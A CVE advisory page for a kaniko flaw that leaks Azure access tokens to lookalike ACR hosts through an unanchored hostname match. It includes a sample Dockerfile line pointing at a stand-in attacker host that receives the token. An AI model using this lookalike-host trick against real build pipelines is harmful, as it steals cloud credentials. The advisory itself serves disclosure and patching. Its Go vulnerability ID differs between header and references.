# CVE-2026-105769: kaniko can send the build's Azure (Entra ID) access token to lookalike ACR registry hosts

- Severity: Critical 9.3 (CVSS:3.1, scored by chainguard) `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Likelihood of exploitation in the next 30 days (EPSS): 0.20%, higher than 9% of CVEs (2026-12-01)
- Published: 2026-11-02T16:49:24.557Z
- Modified: 2026-11-05T23:25:56.115Z
- Also known as: GHSA-5q7h-w9jf-cx97, GO-2026-6902
- Weaknesses: CWE-346, CWE-522
- SSVC (CISA-ADP): exploitation none, automatable no, technical impact total
- Assigned by: chainguard

## Description

kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.

(As written by CVE List.)

## Affected

- github.com/chainguard-dev/kaniko: before 1.25.20
- github.com/chainguard-dev/kaniko (Go): before 1.25.20

## Every score

- chainguard: CVSS:3.1 9.3 Critical `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`
- GitHub: CVSS:3.1 9.3 Critical `CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N`

## References

- <https://github.com/chainguard-forks/kaniko/security/advisories/GHSA-5q7h-w9jf-cx97> (advisory, vendor-advisory, web)
- <https://github.com/chainguard-forks/kaniko/pull/495> (patch, web)
- <https://github.com/chainguard-forks/kaniko/releases/tag/v1.25.20> (release-notes, web)
- <https://github.com/chrismellard/docker-credential-acr-env/issues/21> (issue-tracking, web)
- <https://pkg.go.dev/vuln/GO-2026-6225> (third-party-advisory, web)
- <https://nvd.nist.gov/vuln/detail/CVE-2026-105769> (advisory)
- <https://github.com/chainguard-forks/kaniko/commit/08de01fe7fffaeb6bc030efa9eae723ea2dd4405> (fix, web)
- <https://github.com/chainguard-forks/kaniko/commit/58915b22dbeca4d936d6bb51c0c889baf6ebbc48> (fix, web)
- <https://github.com/chainguard-forks/kaniko> (package)

## Sources

- CVE List: [CVE-2026-105769](https://www.cve.org/CVERecord?id=CVE-2026-105769), CVE Terms of Use, modified 2026-11-02
- GitHub Advisory Database: [GHSA-5q7h-w9jf-cx97](https://github.com/advisories/GHSA-5q7h-w9jf-cx97), CC-BY-4.0, modified 2026-11-05
- Go Vulnerability Database: [GO-2026-6902](https://pkg.go.dev/vuln/GO-2026-6902), CC-BY-4.0, modified 2026-11-05
- NVD: [CVE-2026-105769](https://nvd.nist.gov/vuln/detail/CVE-2026-105769), Public domain, modified 2026-11-02

---

Page: https://cve.day/CVE-2026-105769 · Whole record: https://cve.day/CVE-2026-105769.json · Rebuilt by cve.day 2026-11-25T22:59:48.208Z
